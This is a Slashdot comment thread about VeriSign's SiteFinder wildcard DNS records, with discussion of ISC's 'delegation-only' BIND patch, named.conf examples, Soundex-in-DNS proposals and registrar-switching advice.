      /.: nothing appropriate.

    8. Re:ISC ROCKS by bill_mcgonigle · · Score: 1

      If BIND decided to distribute a seperate set of root servers in a cache file and enough ISPs used it the Internet DNS system as we know it today could change overnight. ;-)

      BIND should let you rank them in your named.conf
      e.g. try AlterNIC first, then Verisign

      --
      My God, it's Full of Source!
      OUTSIDE_IP=$(dig +short my.ip @outsideip.net)
  15. Is a Technology solution ALWAYS better than law? by henley · · Score: 5, Interesting

    OK, I'm in favour of working-around the problem in classic

    The internet interprets {badthing} as damage and routes around it
    ..fashion, and I'll be installing a patched bind whenever I can.

    But I'm really concerned that this effectively lets VeriSign get away with it. They've bust everyone's trust folks, doesn't anyone care? This sort of activity in a social context (umm... let's see if we can construct a tortured metaphor: ...uhhh..: Your friend asks for your cousins's phone number and you instead give them the phone number of your shop. Reasonable?) would result in the perpetrator being ostracised fairly quickly, if not actually slapped about by a clue-by-four. It's flat out antisocial behaviour, never mind any legalities.

    Here, since these buggers appear to hold us all over a barrel with the root domains, we can't just ignore them, and invoking legal recourses is at best slow and expensive. But what about appeal to the authorities that granted them those rights?

    Um, the more I rant about this the closer I get to thinking a better solution is switching to an alternate root... Best head off to google again then, I know there's a way around this...

    --

    --
    I'd rather have a bottle in front of me than a frontal lobotomy
  16. Soundex into BIND! by jabbadabbadoo · · Score: 0, Interesting
    BIND should be enhanced in several ways:

    The most important one, IMHO, is to compute a list of close matches and present these choices to the user. They may use the Soundex algorithm or some other tricks to see if characters are transposed, if one characters is wrong, if one is missing, etc. If well implemented, this would solve 60% of the problem.

    The remaining 40% is due to the fact that people sometimes doesn't actually mistype a known address... they type a dead wrong address, such as "amazonbookstore.com" instead of "amazon.com". In this case, BIND should split up the phrase into separate word (in this case "amazon book store" and redirect to a search engine with those words as parameters.

    The big question in this case is: which search engine? I think that one should be able to choose, in one way or another. If not, Google would be my choice ;-)

    1. Re:Soundex into BIND! by AKnightCowboy · · Score: 5, Insightful
      The most important one, IMHO, is to compute a list of close matches and present these choices to the user. They may use the Soundex algorithm or some other tricks to see if characters are transposed, if one characters is wrong, if one is missing, etc. If well implemented, this would solve 60% of the problem.

      NO NO NO NO NO NO NO! DNS is a directory service for god's sake, not a god damn search engine. If you want a search engine then go to Google like everyone else does. If people are too stupid to assume typing in "www.whitehouse.com" will take them to the White House's homepage then they deserve to get tits in the face. Type in White House in Google, hit feeling lucky and you'll get the right page right off. DNS maps domain names to IP addresses and vice versa, nothing more. Don't pervert it into some god damn spell checking search engine.

    2. Re:Soundex into BIND! by Xner · · Score: 2, Informative
      Interesting, but that is so far outside the problem domain that it's not even funny.
      Bind should just return NXDOMAIN and the application (Mozilla, IE, BitchX, whatever) can then sort it out in this fashion. Hell, we can even make handy BSD-licensed shared libraries that do this for easy integration.

      The matter is that the application must be informed when a domain does not exist, not spammed with guesses that may be right.

      --
      Pathman, Free (as in GPL) 3D Pac Man
    3. Re:Soundex into BIND! by MrMickS · · Score: 1
      The most important one, IMHO, is to compute a list of close matches and present these choices to the user. They may use the Soundex algorithm or some other tricks to see if characters are transposed, if one characters is wrong, if one is missing, etc. If well implemented, this would solve 60% of the problem
      This assumes that the only use for DNS is to look up websites and that the DNS protocol be extended to return near matches.

      For email and other automated systems it is a non-starter. As an option in a browser it could be useful (but look at the hassle MS get for the search option in IE) but leave our protocols alone.

      --
      You may think me a tired, old, cynic. I'd have to disagree about the tired bit.
    4. Re:Soundex into BIND! by joshv · · Score: 3, Informative

      BIND should be enhanced in several ways:

      The most important one, IMHO, is to compute a list of close matches and present these choices to the user. They may use the Soundex algorithm or some other tricks to see if characters are transposed, if one characters is wrong, if one is missing, etc. If well implemented, this would solve 60% of the problem.


      BIND (and other Domain Name Servers) are given the simple task of turning a string into set of 4 octets (aka an IP address), using a massively distributed lookup table that maps strings to IP address.

      The reason people are pissed off about Verisign's wildcard entry is that they have depended on their DNS saying "I can't find an IP address" when it can't find an IP address.

      In general BIND is a program that talks to other programs via a very stable and well understood interface. Now, how would enhance BIND to do a soundex and return multiple possible results to programs that have been written to expect either a response in the form of a single IP address, or a "domain not found" error?

      Sounds to me like this is something that should be handled in the application, if at all.

      -josh

    5. Re:Soundex into BIND! by aborchers · · Score: 1

      Soundex is a turd. I'd rather see error messages than a litany of near matches that is poor in both precision and recall.

      Algorithms based on phonology (and the word splitting you mention, possibly, though I'd expect that to increase recall with no precision boost in the kind of noisy example you cite) would do better, but building that kind of processing into something with the performance requirements of BIND would bring the network to a crawl. Maybe once we get those quantum computers in place. :-)

      --
      Trouble making decisions? Just flip for it.
    6. Re:Soundex into BIND! by Tirel · · Score: 1

      that has to be the dumbest idea I have ever heard (except maybe the one on k5 on renaming the unix root level directories because the current hier is hard to remember). the things you mention are clearly application-protocol features (web browsers etc), when I type "ping yaho.com", i want it to fucking attempt to ping yaho.com, not to automatically assume i meant yahoo.com. besides, if you type anazom.com, will it send a shitload of queries until it finds a valid one? can you say DDOS?

    7. Re:Soundex into BIND! by jabbadabbadoo · · Score: 0

      I proposed it as an alternative... Yes, it's dumb, just like you.

    8. Re:Soundex into BIND! by Lozzer · · Score: 2, Informative

      DNS is a directory service for god's sake, not a god damn search engine.

      Right

      DNS maps domain names to IP addresses and vice versa, nothing more

      Wrong

      --
      Special Relativity: The person in the other queue thinks yours is moving faster.
    9. Re:Soundex into BIND! by horza · · Score: 1

      The most important one, IMHO, is to compute a list of close matches and present these choices to the user. They may use the Soundex algorithm or some other tricks to see if characters are transposed, if one characters is wrong, if one is missing, etc. If well implemented, this would solve 60% of the problem.

      Ignoring the cases where transposing of characters leads to a wrong but valid domain (problem being from the *user* point of view). The point is that a domain name is an *address*. If I let my domain expire, I wouldn't want all my clients to be redirected automatically from "mywidgets.com" to "ymwidgets.com" who are my closest competitors.

      The remaining 40% is due to the fact that people sometimes doesn't actually mistype a known address... they type a dead wrong address, such as "amazonbookstore.com" instead of "amazon.com". In this case, BIND should split up the phrase into separate word (in this case "amazon book store" and redirect to a search engine with those words as parameters.

      So would the results bring up "amazon.com" or "bookstore.com" first? In the US you get the inevitable legal case by some 'loser' in the aforementioned example. Someone will have the bright idea of selling the search result to the highest bidder. Oops, we're back to sitefinder!

      An address is an address. If you get it wrong, then you need to find out what the right one is. That's not the job of a DNS resolver. The browser can take the failed response and put it directly into Google if the user so wishes.

      Phillip.

    10. Re:Soundex into BIND! by Spazmania · · Score: 1

      Dude, while we're at it, lets reprogram the routers so that if the IP address seems wrong for that web packet, it'll change the IP address to its best guess as to which one is correct, or even route it to a search engine web server!

      --
      Moderating "-1, Disagree" is simple censorship. Have the guts to post your opinion.
    11. Re:Soundex into BIND! by nearlygod · · Score: 1

      Does www.whitehouse.com take you to the White House's homepage? I never would have thought of that. I think I'll take a look at what our president is up to. Cool, boobies...

      --
      The Tools Of Ignorance wanna be a tool?
    12. Re:Soundex into BIND! by Anonymous Coward · · Score: 0

      You are the stupidest twat who ever lived, aren't you? Go on, admit it.

    13. Re:Soundex into BIND! by jabbadabbadoo · · Score: 1

      OK, OK... I admit it.

    14. Re:Soundex into BIND! by Anonymous Coward · · Score: 0

      Just thought I'd let you know that at least someone got the humour...

    15. Re:Soundex into BIND! by Vengeful+weenie · · Score: 1
      This would be complicated considering you don't know what language the person is typing in.

      A better solution is to redesign the user interface so typing in a URL is no longer the primary means of seeking a site. I was never supposed to be anyway.

    16. Re:Soundex into BIND! by drakaan · · Score: 1
      How exactly is that wrong?

      True, therre are a lot of RFC's on that page, but every single one of them talks about DNS, or extensions to DNS (the "Domain Name System"), which is, a system for mapping IP addresses to hostnames and vice-versa. That's what DNS does.

      What is it, specifically, that you wanted to point out?

      --
      "Murphy was an optimist" - O'Toole's commentary on Murphy's Law
    17. Re:Soundex into BIND! by drakaan · · Score: 1
      A slashdotter that admits an imperfection??? I'll be damned.

      Mod parent up "+1 reasonable"

      --
      "Murphy was an optimist" - O'Toole's commentary on Murphy's Law
    18. Re:Soundex into BIND! by Anonymous Coward · · Score: 0

      What about the RFCs pertaining to DNS as a method of distributing certificates and revokations? Or global address mapping? Or distribution of mail address mapping tables? Or using DNS to store arbitrary string attributes?

    19. Re:Soundex into BIND! by DavidTC · · Score: 1
      Technically, DNS also maps hostnames to other hostnames. (Not IPs to other IPs, though.)

      I don't really see how that's relevant, though.

      --
      If corporations are people, aren't stockholders guilty of slavery?
    20. Re:Soundex into BIND! by drakaan · · Score: 1
      And those are nice...who's offering those types of information as part of DNS info these days (aside from Microsoft, who actually uses SRV records)?

      Note that none of the above change the fact that DNS maps IP addresses to hostnames, or the fact that it was created precisely for that purpose.

      --
      "Murphy was an optimist" - O'Toole's commentary on Murphy's Law
    21. Re:Soundex into BIND! by barce · · Score: 1

      DNS is not a search engine, is a distributed database. Implementing this soundex stuff breaks DNS the same way as Verisign's Sitefinder does.

      Although Wilcards are legal in DNS Verisign is abusing using them. If a domain does not exist the response should be a NXDOMAIN.

    22. Re:Soundex into BIND! by Lost+Race · · Score: 1
      How exactly is that wrong?
      It's the "and nothing more" part that's wrong. Think about the DNS RBLs.

      The rest of that post is right on target though.

    23. Re:Soundex into BIND! by Lozzer · · Score: 1

      I was being a pedant, for which I apologise. (As the guy above said it was the "and nothing more" bit I was disagreeing with.

      Even the original DNS rfcs have records like WKS, HINFO, SOA, MG. Its all stuff for managing a hierarchical namespace - its not only IP to DNS mappings.

      From rfc883:

      The goal of domain names is to provide a mechanism for naming resources in such a way that the names are usable in different hosts, networks, protocol families, internets, and administrative organizations.

      Of course there probably aren't many people using anything more than A, MX, CNAME, NS, PTR and SOA (and any ipv6 equivalents). Reading the rfcs again makes me wonder if you can get Hesiod or Chaosnet classes anywhere.

      Maybe people would care to post up the strangest records they can find in the DNS space? I'm a little surpised that /. doesn't offer Futurama quotes in TXT records

      --
      Special Relativity: The person in the other queue thinks yours is moving faster.
    24. Re:Soundex into BIND! by Anonymous Coward · · Score: 0

      You are fucking religishitty dude. Fuk off with the shit man.

  17. Advice on switching to another registrar by MCRocker · · Score: 2, Insightful

    I was dumb enough to sign up with, what was called Network Solutions at the time. Then during a moment of shear stupidity, I renewed... till 2007!

    I really want to get away from these jerks. There seem to be lots of registrars out there, but I've heard horror stories about totally unresponsive registrars that are glad to take your money, but ignore you if there's any problem at all. Also, if I switch, doesn't that just improve Verisign's profit margin? I've paid till 2007, now they don't have to do anything at all for that money. If I transfer to another registrar does Verisign get to keep my money?

    Advice?

    --
    Signatures are a waste of bandwi (buffering...)
    1. Re:Advice on switching to another registrar by Anonymous Coward · · Score: 0

      Advice?

      Down, not across.

    2. Re:Advice on switching to another registrar by jlusk4 · · Score: 4, Funny

      Good point, they *do* already have your money. Stay with Verisign (until your registration expires), but make a lot of support calls. (After all, you've paid for their sterling support.) Especially about this wildcard thing. I'm already forgetting exactly what it is, maybe you are, too. I'm sure they'd be happy to explain it to you, and why it's not bad. And if you forget again after a month or two, they'll be happy to discuss it with you again. And any other questions you might have, like how to set up a mail server alias thingy.

      John.

    3. Re:Advice on switching to another registrar by daveoj · · Score: 1

      I also have my domain registered through Network Solutions and e-mailed their customer support people yesterday to indicate my non-support for their actions. Oh... and indicated that I will switch registrar and encourage my clients to do the same if policy does not change.

      The response...

      Dear Mr. Ockwell-Jenner,

      Thank you for contacting Network Solutions.

      Please know that this is in effect by the main registry and we do not have control over this in terms of unregistered domains. We will notify you on this as soon as a notification from the main registry has been forwarded to us in this case.

      Please know that your inquiry is important to us, and we value your business.

      Best regards,

      Marie003
      Network Solutions Inc.

    4. Re:Advice on switching to another registrar by Yaa+101 · · Score: 1

      OpenSRS

    5. Re:Advice on switching to another registrar by Anonymous Coward · · Score: 0

      If you switch to an opensrs registrar, you will have to pay a years service to do the switch, but it will be added on to whatever your expiration was, so it will cost you $10-$15 to switch, but your expiration will then be in 2008, so you won't lose any money by switching. http://www.opensrs.org/

    6. Re:Advice on switching to another registrar by You're+All+Wrong · · Score: 2, Funny

      """
      Best regards,

      Marie003
      Network Solutions Inc.
      """

      Marie003 ??? She sends me spam!

      YAW.

      --
      Your head of state is a corrupt weasel, I hope you're happy.
    7. Re:Advice on switching to another registrar by Visualocity · · Score: 1

      Verisign does keep the money you've already spent with them, but you keep the time you've paid for. When you transfer your domain from Verisign to another registrar, you pay for a year's renewal, and this is added to the existing time on your domain. Your domain will be good to 2008. Your transfer will also help keep NetworkSolutions as the fastest shrinking registrar.

      Your transfer away won't make NSI or Verisign more profitable, their expenses for your future years of registration are already paid to the registry (in this case of course themselves).

      Of course I'm biased who you should choose. Choose someone who looks at registration as a service industry, and not you or your domains as commodities.

      --
      http://www.register4less.com
    8. Re:Advice on switching to another registrar by lostindenver · · Score: 1

      Unless your like me And they Deny the transfers. They have denied every transfer request i have put in. It sucks that they are aloud to do this. I would love to pull my domains out from under them.

    9. Re:Advice on switching to another registrar by Just+Some+Guy · · Score: 1
      I've been using Domain Monger for a couple of years now. In short, they rock. All management is via a web interface and updates are instantaneous - in comparison to Netsol's "send us an email, then send another one two weeks later if we haven't acted yet" complacency.

      One time I accidentally renewed the wrong domain; I had about 10, and one was getting ready to expire, but I selected the wrong one. I sent exactly one email to their support desk explaining what I meant to do versus what I actually did. I had a response back within the hour telling me that the problem was corrected.

      I'm sure there are other good registrars out there, but Domain Monger has my business. They rock.

      --
      Dewey, what part of this looks like authorities should be involved?
    10. Re:Advice on switching to another registrar by drakaan · · Score: 1

      What reason did they give for denying the transfers? How many transfer requests have you put in? Speak up!

      --
      "Murphy was an optimist" - O'Toole's commentary on Murphy's Law
    11. Re:Advice on switching to another registrar by gsiebrecht · · Score: 1

      I sent an email to verisign.

      Dear Partner,

      Thank you for contacting Premier Partner Support.
      I apologize if this has caused you an inconvenience, however,
      Site Finder is a new service offered by the VeriSign Global Registry.
      For more information you can e-mail VeriSign at sitefinder@verisign-grs.com.

      Best Regards,

      Melissa Lacey
      Premier Support

    12. Re:Advice on switching to another registrar by lostindenver · · Score: 1

      transfer request's 5 .net addys transferred, 4 .com denied with no reason. 6 .net denied no reason.

    13. Re:Advice on switching to another registrar by xerph · · Score: 1

      I'd have to agree with JustSomeGuy regarding DomainMonger. I've been using them as a registrar for roughly four or five years now and their service is excellent. In sharp contrast to NetSol I have not experienced a single problem with them and their support is top notch (I've almost always had a reply to an issue within a couple of hours).

      I've just seitched the last of my domains away from NetSol to DomainMonger and I have no plans to ever go back.

    14. Re:Advice on switching to another registrar by delta407 · · Score: 1

      Actually, I've made several support calls, and plan to visit to their Chicago office in a few hours. (No one was answering the phone, so I guess I have to walk in there before I can talk to someone.)

      A list of contact information is here. The Verisign main number is 1-877-438-8776, which gives you a long list of options. Depending on what you pick, you'll probably end up talking to a Network Solutions guy. Tell him you're distressed about the SiteFinder service, ask about what your options are, and ask if there's anyone else to talk to. They probably won't be much help, but write down everything they tell you, get their employee ID, and keep track of date/time for calls as well as time on hold (might be helpful).

      After some lengthy conversation, I found out that I should be talking to the Verisign Global Registry, but that they can't give me a phone number, because (supposedly) NSI doesn't even have a phone number. However, I did get an e-mail address -- sitefinder@verisign.com, which is routed to someone's inbox (as in, a person, not a support center), which currently yields an "Out-of-office reply" that gives out a cell phone number (!). I don't think I'm going to call it, but at least I have more contact information on file now and an e-mail that will get read.

      Additionally, you might want to try calling Russel Lewis, who's the VP of the Verisign directory services. He's at the Virginia office (1-703-742-0400), but I got disconnected instead of transferred and haven't called a second time (yet). If you try this number, you'll probably get a secretary, to whom you should explain that the standard procedures for communicating with Verisign have failed, that you are "very disappointed" and that you "want to make things right". (It works better if you're actually a Verisign customer.) If you're nice about it (knowing that the secretary probably doesn't know anything about it and can't do anything anyway), you can probably get routed to someone in the directory services division, where you can register further complaints.

      I'll post more information as I get it.

    15. Re:Advice on switching to another registrar by Visualocity · · Score: 1

      Yea, getting domains away from NSI can be difficult, I've helped a lot of people to do this.

      Often the transfers get denied because the NSI require you confirm transfering out before they'll let you go. Things go bad often because the registrant's admin email address is no longer valid. I've also had a lot of reports that the confirmation request email simply doesn't arrive even when the address is good. Seems to be more common on the first attempt to transfer out.

      If the admin email address on your domain is invalid, Verisign (& all registrars) are required to to update your contact information for the domain. This is required by the registration agreement all registrars & domain owners are bound to, and reminding them of this can help. When our clients have trouble transfering away from NSI, this usually helps.

      BTW, the registrar the domain is going to is the one that's responsible to obtain confirmation for the transfer, not the other way around. We for example don't require confirmation to transfer out, but a lot of registrar (NSI, Register.com, Godaddy...) do. OpenSRS leaves this choice up to the reseller.

      --
      http://www.register4less.com
    16. Re:Advice on switching to another registrar by delta407 · · Score: 1

      I have been unable to raise the Chicago local office by phone, and when I went to visit, the visitor center couldn't even get a hold of them. Weird.

      I called their headquarters in CA a few times now. I was hung up on, randomly transferred to someone's voice mail (I'm not sure who), and finally talked to a particularly helpful representative who passed my queries to his manager. They said that SiteFinder was run by NSI, to which I responded that NSI said that SiteFinder was run by Verisign, to which I added that Verisign (as a global registry) is the only organization with the power to do something like that. He went to talk to his manager, told me that they were promised more information on SiteFinder by the end of today (9/17), and promised me a call-back in 24 hours.

      Again, updates to follow.

  18. didn't they already do that? by LostboyTNT · · Score: 1, Interesting

    I seem to remember certain 'default' browser settings, that would automaticly re-direct unknown queries to a related MSN search page.

    --
    LostboyTNT MercyHosting.Com

    Server-Status.Com

    50Bux.Com

    TLDR.Com

    1. Re:didn't they already do that? by AKnightCowboy · · Score: 4, Insightful
      I seem to remember certain 'default' browser settings, that would automaticly re-direct unknown queries to a related MSN search page.

      Having an application do that is completely different than having what is essentially one of the only Internet "utilities" do it without your consent. Redirecting queries is the job of an application, not the DNS root servers. There's a reason looking up non-registered domains returns an NXDOMAIN, because the RFC says it is should!

    2. Re:didn't they already do that? by Anonymous Coward · · Score: 0

      Fine! Use a better browser. Shennanigins like this are expected at the application layer, especially from "you know who".... What Verisign have done is way more serious for a number of reasons that I won't restate. Verisign should be stripped of their control over these TLDs (.net and .com) and their membership of the root CA crime cartel to boot! How much for a "trusted" cert per annum!?!?!? They have done their dash in my book and we must work to have the US government dress them down... Likely? Not! The good ol' US is all for this kind of "business acumen". Regards from Australia...

  19. Patches by achurch · · Score: 4, Informative

    Patches for DJBDNS and lots of other daemons here.

  20. link to patch and example by jcurious · · Score: 5, Informative

    upgrade can be found here:
    http://www.isc.org/products/BIND/delegation -only.h tml

    There is no need to create a com or net data file. Just the
    entries to the named.conf file is enough
    zone "com" { type delegation-only; };
    zone "net" { type delegation-only; };

    Ofcourse, if you use views, this needs to be provided within the relevant
    view (the one performing recursive lookups).

    quote from:
    http://marc.theaimsgroup.com/?l=bind9-users &m=1063 79587928771&w=2

    1. Re:link to patch and example by morelife · · Score: 1

      Except early patchers are saying it's

      com.
      net.

      -not-

      com
      net

      (trailing dots/no trailing dots) in the "type" directive.

      My customers are not complaining yet, so I will wait on patching...

    2. Re:link to patch and example by FrostedWheat · · Score: 1

      Do you know if the patch prevents wildcard matchs on other TLDs like .cx for example?

    3. Re:link to patch and example by dusanv · · Score: 1

      OK, correct me if I'm wrong but this only means that my server will not accept A records from the .com authorative server. So if the Verisign .com zone server comes back with an IP for a typo-ed domain, my DNS will reject it if I specified 'delegation-only' for .com. But wouldn't Verisign only need to return a SOA to a dummy server of their own to circumvent 'delegation-only'? That's pretty easy...

    4. Re:link to patch and example by drakaan · · Score: 1
      Murphy's Law is actually "If there are two or more ways to do something, and one of those ways can result in a catastrophe, then someone will do it." (link)

      "Anything that can go wrong, will" is actually Finagle's Law

      --
      "Murphy was an optimist" - O'Toole's commentary on Murphy's Law
    5. Re:link to patch and example by Anonymous Coward · · Score: 0

      Why is it so hard to make links from the urls? Anyway, here goes:

      upgrade can be found here

      There is no need to create a com or net data file. Just the
      entries to the named.conf file is enough
      zone "com" { type delegation-only; };
      zone "net" { type delegation-only; };

      Ofcourse, if you use views, this needs to be provided within the relevant
      view (the one performing recursive lookups).

      quote from here

  21. Patches for other servers (djbdns, PowerDNS,Exim.. by Anonymous Coward · · Score: 0
  22. For TinyDNS / dnscache users by pgregg · · Score: 5, Informative

    Russell Nelson has a patch for tinydns which does the same thing.

    He also notes that several other TLD operators for the same thing and has another patch that allows you to do the same thing to several naughtly tld operators at once.

    1. Re:For TinyDNS / dnscache users by mwise · · Score: 1

      Speaking of tinydns: Notes on *.com wildcards .

  23. Re:could NOT care less you idiot by wiggys · · Score: 0, Offtopic
    Unfortunetely, the (mis)use of "could care less" goes back at least a century or two.

    What irritates me more is when people refer to junk email as "SPAM" instead of "spam" (it's not an acronym... and speaking of acronyms, when did we stop putting dots between the letters? It used to be R.S.P.C.A, now RSPCA is ok. And when did we start saying "dot" instead of "full stop" or "period"? Maybe we can blame the web for this!)

    Similarly, "Mac" refers to a compter sold by Apple, whereas "MAC" is a unique number found in network cards.

    --

    Sorry, but my karma just ran over your dogma.

  24. The new versions of BIND are already available by Raphael · · Score: 5, Informative

    Although the news are not on the BIND page yet, patches for the current versions 9.2.2 and 9.1.3 are already available. Only 9.2.3rc2 is currently listed on the page (as of this writing).

    You can get the details from the bind-announce list archives:

    All versions were released a few hours ago. Here is the common paragraph at the top of these three messages:

    In response to high demand from our users, ISC is releasing a patch for BIND to support the declaration of "delegation-only" zones in caching/recursive name servers. Briefly, a zone which has been declared "delegation-only" will be effectively limited to containing NS RRs for subdomains, but no actual data outside its apex (for example, its SOA RR and apex NS RRset). This can be used to filter out "wildcard" or "synthesized" data from NAT boxes or from authoritative name servers whose undelegated (in-zone) data is of no interest.

    Have fun downloading and installing!

    --
    -Raphaël
    1. Re:The new versions of BIND are already available by boojit · · Score: 5, Informative
      And here's a helpful posting on how to use the new patch.

      DaC

    2. Re:The new versions of BIND are already available by Raphael · · Score: 1

      You can also have a look at this new page on the ISC site, which describes the feature (same paragraph as the one quoted in my previous message) and provides links to the patched versions and the corresponding announcements.

      It also mentions that the new "delegation-only" option is meant to be used in the following way (in named.conf):

      zone "foo" {
      type delegation-only;
      };

      Obviously, you would replace "foo" by "com" and "net". Easy! Problem gone.

      --
      -Raphaël
    3. Re:The new versions of BIND are already available by OpperNerd · · Score: 1

      Strange, I have

      zone "net" { type delegation-only; };
      zone "com" { type delegation-only; };
      zone "sh" { type delegation-only; };

      in named.conf but it only seems to work on .com domains:

      # host www.ashjkdhaasddddddddddddddddddddsdjkashdjkashdjk ashdjkas.net
      www.ashjkdhaasddddddddddddddddddddsd jkashdjkashdjk ashdjkas.net has address 64.94.110.11

      # host www.ashjkdhaasddddddddddddddddddddsdjkashdjkashdjk ashdjkas.com
      Host not found.

      Sep 17 22:47:02 myhost named[48798]: delegation-only: notice: enforced delegation-only for 'com' (www.ashjkdhaasddddddddddddddddddddsdjkashdjkashdj kashdjkas.com)

      --
      -- unix is for people without a social life - Patrick van Eijk
  25. What about the other 20%? by EnglishTim · · Score: 1

    It says on the BIND site that 80% on the net's DNS servers - I wonder what runs on the remaining 20%? And are they likely to implement something similar?

    Basically, I'm wondering how much of the net will end up bypassing Verisign's silly stunt...

    1. Re:What about the other 20%? by hkmwbz · · Score: 4, Informative
      --
      Clever signature text goes here.
  26. MX Problems by tinla · · Score: 5, Insightful


    So you have 2 mail servers with mx priorities as follows:

    mail.someplace.com 10
    mail.otherplace.com 20

    if your someplace.com domain expires (hey, it happens) all your mail bounces thanks to verisigns ace "Snubby Mail Rejector Daemon v1.3". The backup mx record, which is there to cover failures like domains expiring, is never tried. In the 'real' world.. where lookups on dead domains fail... the backup server would be used.

    Thats a bigger problem than all this spam checking people are getting worked up about. If they both had priority 10 (a simple load balancing arrangement) then half your mail would bounce and half would be ok.

    Some improvement! Patches to BIND aren't the answer. Verisign need to be made to stop breaking the internet.

    --
    0daymeme.com: Great stuff.
    1. Re:MX Problems by MrMickS · · Score: 4, Interesting
      Patches to BIND aren't the answer. Verisign need to be made to stop breaking the internet.
      80% of the DNS servers are BIND. The more of these that get patched the less of a problem redirected email becomes. The patch to BIND shouldn't be the only action taken but anything that helps is good. A change to BIND helps.
      --
      You may think me a tired, old, cynic. I'd have to disagree about the tired bit.
    2. Re:MX Problems by TheViewFromTheGround · · Score: 4, Insightful

      Some improvement! Patches to BIND aren't the answer. Verisign need to be made to stop breaking the internet.

      There's been this silly thread in this conversation that stakes out two sides. Either a) fix anti-social, monopolistic behavior with technology, or b) fix it with laws and legal action. This is a moronic dichotomy. A technological solution mitigates the immediate problem while the lawyers have time to file their briefs and sort out the damage done. A combination of technical solutions and legal action is a possibility and even a sometimes a Good Thing, not some binary choice.

      --
      Online citizen journalism from the inner city: The View From The Ground
    3. Re:MX Problems by Anonymous Coward · · Score: 0

      Yes, well, until the US government gets a clue regarding the internet, verisign is going to remain very much in control. Better to hack around them with BIND than sitting on our behinds waiting for something that's not going to happen.

    4. Re:MX Problems by John+Allsup · · Score: 1

      Besides, if 80% of the internet stops people accessing Verisign's search page, maybe they'll think about doing something about it.

      Basically the go-here-on-DNS-failure should be a browser feature (as it is with IE.) What Verisign is trying to do is to usurp M$IE's feature of trying an M$N search if the DNS search fails.

      --
      John_Chalisque
    5. Re:MX Problems by TheRaven64 · · Score: 1
      There's been this silly thread in this conversation that stakes out two sides. Either a) fix anti-social, monopolistic behavior with technology, or b) fix it with laws and legal action.

      Actually, I think there is a third viewpoint. Quite a lot of people believe that it's simpler to fix this kind of antisocial behaviour with sharp sticks...

      --
      I am TheRaven on Soylent News
    6. Re:MX Problems by sjames · · Score: 1

      Better to hack around them with BIND than sitting on our behinds waiting for something that's not going to happen.

      Agreed. Meanwhile, I wonder who will be the first to deface the wildcard server? Perhaps titled "Verisign thanks you" and the goatse image?

    7. Re:MX Problems by Alsee · · Score: 1

      A combination of technical solutions and legal action is a possibility and even a sometimes a Good Thing, not some binary choice.

      Zero, One, Both.

      -

      --
      - - You can't take something off the Internet! That's like trying to take pee out of a swimming pool.
    8. Re:MX Problems by fizbin · · Score: 1

      There's also the added wrinkle that simultaneously implementing a technological solution allows you to go the lawyers and say "installing the technical measures to work around this took X hours of people paid an average Y $/hour."

      It's from little tidbits like that that lawyers construct damage figures.

    9. Re:MX Problems by X · · Score: 1

      Have you actually experimented with this? I believe that compliant MTA's should take a delivery failure as presented by "Snubby" as a reason to reroute to the backup MX record, just as if they failed on a host name lookup.

      --
      sigs are a waste of space
  27. Who will agree? by 200_success · · Score: 4, Interesting

    The interesting question is, will enough people pick up the patch, so that Verisign will see their efforts wasted? This will only happen if the distros redistribute the patch.

    Will the Linux distros provide updates to BIND that include the patch? (I bet yes.) Will Sun, the dot in .com, update Solaris? (This is harder to guess.) As for Microsoft, I think they will sneak in a patch, to Internet Explorer only, the next time they issue an "urgent" security patch -- though their motive is purely to protect their MSN Search revenue.

    DJBDNS already has a patch available.

    1. Re:Who will agree? by bogado · · Score: 1

      MS dosen't have to fake a urgent update to IE, all it has to do is wait a few weeks until the next mass infection of worms appear.

      --
      []'s Victor Bogado da Silva Lins

      ^[:wq

    2. Re:Who will agree? by s.ripley · · Score: 1

      I can tell you that one major government organization won't be getting sitefinder responses back any more.

      I can tell you that b/c I'm the DNS admin and I'm gcc'ing the new BIND even now.

      --
      A reminder from the NSA: Don't use words like 'president' and 'assassinate' in your /. posts!
  28. It must be Space Aliens what done it! by AndroidCat · · Score: 1, Funny
    Verisign and SCO are buying mind-control Kool-Aid from Evil Reptilian Kitten-Eating Space-Aliens from Another Planet!

    Sure, it sounds like another tin-foil hat theory, but can anyone come up with another explaination which makes more sense for the "Lemming Look" of companies searching for the biggest cliff to jump off? (Yeah, I know, lemming suicides are a Disney myth. Too bad SCO and Verisign aren't.)

    --
    One line blog. I hear that they're called Twitters now.
    1. Re:It must be Space Aliens what done it! by Stavr0 · · Score: 1
      Verisign and SCO are buying mind-control Kool-Aid from Evil Reptilian Kitten-Eating Space-Aliens from Another Planet!

      Whaa? Dalton McGuinty is CEO of Both Verisign and SCO???

    2. Re:It must be Space Aliens what done it! by AndroidCat · · Score: 1

      It's not just Dalton, it's a vast reptilian alien conspiracy involving the Queen and others. What, you thought that the Ontario Conservatives were just making this stuff up?

      --
      One line blog. I hear that they're called Twitters now.
  29. Natural Adaptation. by subk · · Score: 1

    The Internet now holds the same properties as Atmosphere and Ocean. This cannot last. Nature will find a way, and soon.

    --
    Now, if you'll excuse me, I have backups to corrupt.
    1. Re:Natural Adaptation. by Anonymous Coward · · Score: 0

      > Nature will find a way, and soon.

      Here's Bob with the weather.

    2. Re:Natural Adaptation. by KDan · · Score: 1

      All we need now is weather people to predict when the next hurricane is going to hit our servers...

      Daniel

      --
      Carpe Diem
    3. Re:Natural Adaptation. by NickFitz · · Score: 2, Funny

      The next hurricane is coming soon, but subscribers can beat the rush and flee the territory early!

      --
      Using HTML in email is like putting sound effects on your phone calls. Just say <strong>no</strong>.
    4. Re:Natural Adaptation. by Pharmboy · · Score: 1

      The next hurricane is coming soon, but subscribers can beat the rush and flee the territory early!

      That is actually worth a mod point for funny. Too bad I don't have any...

      --
      Tequila: It's not just for breakfast anymore!
  30. ISPs Will Soon Send You To Their Own Site by Anonymous Coward · · Score: 5, Interesting

    ISPs running DNS will certainly disallow this redirection to VeriSuck.

    But soon thereafter, if not immediately, they'll start directing their customers to their own search site, or whatever search site they're paid to send them to. Or maybe some ISPs already do this?!

    We need an RFC stating that this is not permissable.

    Heh, maybe as a byproduct we'll see public DNS servers pop up. "Use us for free, but occasionally we will send you where /we/ want you to go."

    1. Re:ISPs Will Soon Send You To Their Own Site by LostCluster · · Score: 1

      I think what this proves is that RFC's are worthless... since there is no central control over the Internet, nobody has a lawmaking authority to say certain malpractices are disallowed...

    2. Re:ISPs Will Soon Send You To Their Own Site by Anonymous Coward · · Score: 0

      We need an RFC stating that this is not permissable.

      And they will follow it because...?

    3. Re:ISPs Will Soon Send You To Their Own Site by Progman3K · · Score: 1

      http://yro.slashdot.org/comments.pl?sid=78637&cid= 6980680

      --
